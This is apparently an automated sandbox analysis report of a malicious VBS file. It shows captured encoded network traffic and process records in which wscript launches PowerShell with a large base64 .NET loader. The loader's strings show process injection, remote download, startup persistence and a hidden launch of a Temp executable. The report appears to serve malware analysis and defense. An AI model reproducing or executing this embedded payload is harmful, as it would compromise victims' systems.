+bxDRAwDTkhCTEAAA0QjbsALB4PGPEBAPMxEfQwEa6QENExCsEg/S8xDRAwDTwxHNITaO2QEOEBDsEg/b8xDRAwDT0hoKAAAKgiBAIwYokmuI6DIKAAA6gCHfkhCR0BLB4PHPEBAPMhHiqAAAoAKGAgAjhSa6iY/goAAAoDKc8hGKERHsEg/d8QEA8wEW8hBTYAABgPKWYAACMGKppbijBiBAIwYokmuIOJIEEhIsEg/V8xDRAwDT0xHMMBWXwQ
2023-03-20 10:39:15 UTC	192	IN	Data Raw: 73 45 67 2f 59 59 51 45 41 59 77 45 64 38 30 4b 46 77 53 41 2b 7a 68 42 52 41 67 42 54 6f 77 48 4d 30 6c 48 59 64 42 43 4b 77 53 41 2b 6e 77 48 47 45 42 41 47 4d 78 43 66 55 77 45 59 64 52 42 52 6f 41 4c 42 34 76 43 66 59 51 45 41 41 41 41 41 63 4f 4f 47 4d 68 46 52 41 41 41 71 41 41 41 41 59 50 41 45 41 7a 45 71 51 78 2f 2f 37 76 72 34 55 77 4b 43 77 53 41 2b 76 68 43 52 41 67 43 54 63 42 41 45 77 53 41 2b 62 68 43 52 41 67 43 54 6f 68 4b 55 55 41 4c 42 34 66 47 4b 45 42 41 4b 4d 42 47 4b 6f 41 41 41 51 43 4b 47 41 67 41 6a 68 53 61 36 57 49 55 67 6f 41 41 41 4d 43 4b 47 41 67 41 6a 68 53 61 36 57 59 53 67 49 43 4c 42 34 2f 46 4b 45 42 41 4b 4d 52 47 2f 2f 2f 2f 4f 6f 6a 43 41 41 77 43 6f 59 67 44 73 45 67 2f 59 6f 51 45 41 6f 77 45 62 6f 43 43 47 41 51 Data Ascii: sEg/YYQEAYwEd80KFwSA+zhBRAgBTowHM0lHYdBCKwSA+nwHGEBAGMxCfUwEYdRBRoALB4vCfYQEAAAAAcOOGMhFRAAAqAAAAYPAEAzEqQx//7vr4UwKCwSA+vhCRAgCTcBAEwSA+bhCRAgCTohKUUALB4fGKEBAKMBGKoAAAQCKGAgAjhSa6WIUgoAAAMCKGAgAjhSa6WYSgICLB4/FKEBAKMRG////OojCAAwCoYgDsEg/YoQEAowEboCCGAQ
2023-03-20 10:39:15 UTC	208	IN	Data Raw: 66 4d 41 41 41 49 67 52 34 51 41 41 41 55 58 66 4b 41 41 41 4b 67 69 42 41 49 77 59 6f 6b 6d 75 52 32 49 49 45 41 41 41 31 74 58 4a 43 41 79 4d 31 39 78 41 41 41 67 41 72 68 44 42 41 41 51 64 39 70 41 41 41 6f 41 4b 47 41 67 41 6a 68 53 61 36 47 5a 75 67 51 41 41 41 55 33 65 6c 49 41 49 7a 51 33 48 44 41 41 41 43 41 4a 4f 45 41 41 41 31 31 6e 43 41 41 67 43 6f 59 41 41 43 4d 47 4b 70 70 62 6b 6c 43 43 42 41 41 51 64 37 56 69 41 67 4d 7a 63 66 4d 41 41 41 49 51 74 34 51 41 41 41 55 58 66 4b 41 41 41 4b 67 69 42 41 49 77 59 6f 6b 6d 75 52 47 4e 49 45 41 41 41 31 74 58 4a 43 41 79 4d 79 39 78 41 41 41 67 41 61 6a 44 42 41 41 51 64 39 70 41 41 41 6f 41 4b 47 41 67 41 6a 68 53 61 36 47 5a 33 67 51 41 41 41 55 33 65 6c 49 41 49 7a 45 33 48 44 41 41 41 43 38 50 Data Ascii: fMAAAIgR4QAAAUXfKAAAKgiBAIwYokmuR2IIEAAA1tXJCAyM19xAAAgArhDBAAQd9pAAAoAKGAgAjhSa6GZugQAAAU3elIAIzQ3HDAAACAJOEAAA11nCAAgCoYAACMGKppbklCCBAAQd7ViAgMzcfMAAAIQt4QAAAUXfKAAAKgiBAIwYokmuRGNIEAAA1tXJCAyMy9xAAAgAajDBAAQd9pAAAoAKGAgAjhSa6GZ3gQAAAU3elIAIzE3HDAAAC8P

Target ID:	0
Start time:	11:39:09
Start date:	20/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"
Imagebase:	0x7ff722640000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	11:39:10
Start date:	20/03/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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AQAAASkADAcBAAABKwBOBwEAAAEtAGAHAQAAAS8AgAQCAAABMQAiBwEAAAEzAIAAAQAEgAAAAQAAAAAAAAAAAAAAAADSBAAACgAAAAAAAAAAAAAAoQFbAAAAAAAEAAAAAAAAAAAAAACqATMEAAAAAAQAAAAAAAAAAAAAAKoBUgAAAAAAAAAAAAEAAAAcBgAADAAEAA0ABAAOAAgADwAIAAAAEAAaAFAAAAAQAEkAUAAAAAAASwBQACMAkgEjAJwBAAAAAABBYDEAQ29udGV4dFZhbHVlYDEAVG9JbnQzMgBUb0ludDE2AGdldF9VVEY4AEEAQgBDAEQARQBWQUkAUUJYdFgAUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAR2V0UHJvY2Vzc0J5SWQAUmVzdW1lVGhyZWFkAFN5bmNocm9uaXplZABSZXBsYWNlAENyZWF0ZUluc3RhbmNlAEFuZGUAR2V0SGFzaENvZGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUASG9tZQBWYWx1ZVR5cGUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE9iZnVzY2F0aW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAWWFub0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3VwcHJlc3NVbm1hbmFnZWRDb2RlU2VjdXJpdHlBdHRyaWJ1dGUAQnl0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAGdldF9TaXplAFNpemVPZgBOZXdMYXRlQmluZGluZwBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE9wdGljYWwATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABGaWJlci5kbGwAS2lsbABTeXN0ZW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBaZXJvAFN0YXJ0dXAAc3RhcnR1cABGaWJlcgBCdWZmZXIAUmVzb3VyY2VNYW5hZ2VyAFVzZXIAQml0Q29udmVydGVyAENvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkFwcGxpY2F0aW9uU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBGaWJlci5SZXNvdXJjZXMucmVzb3VyY2VzAEdldEJ5dGVzAFN0cmlu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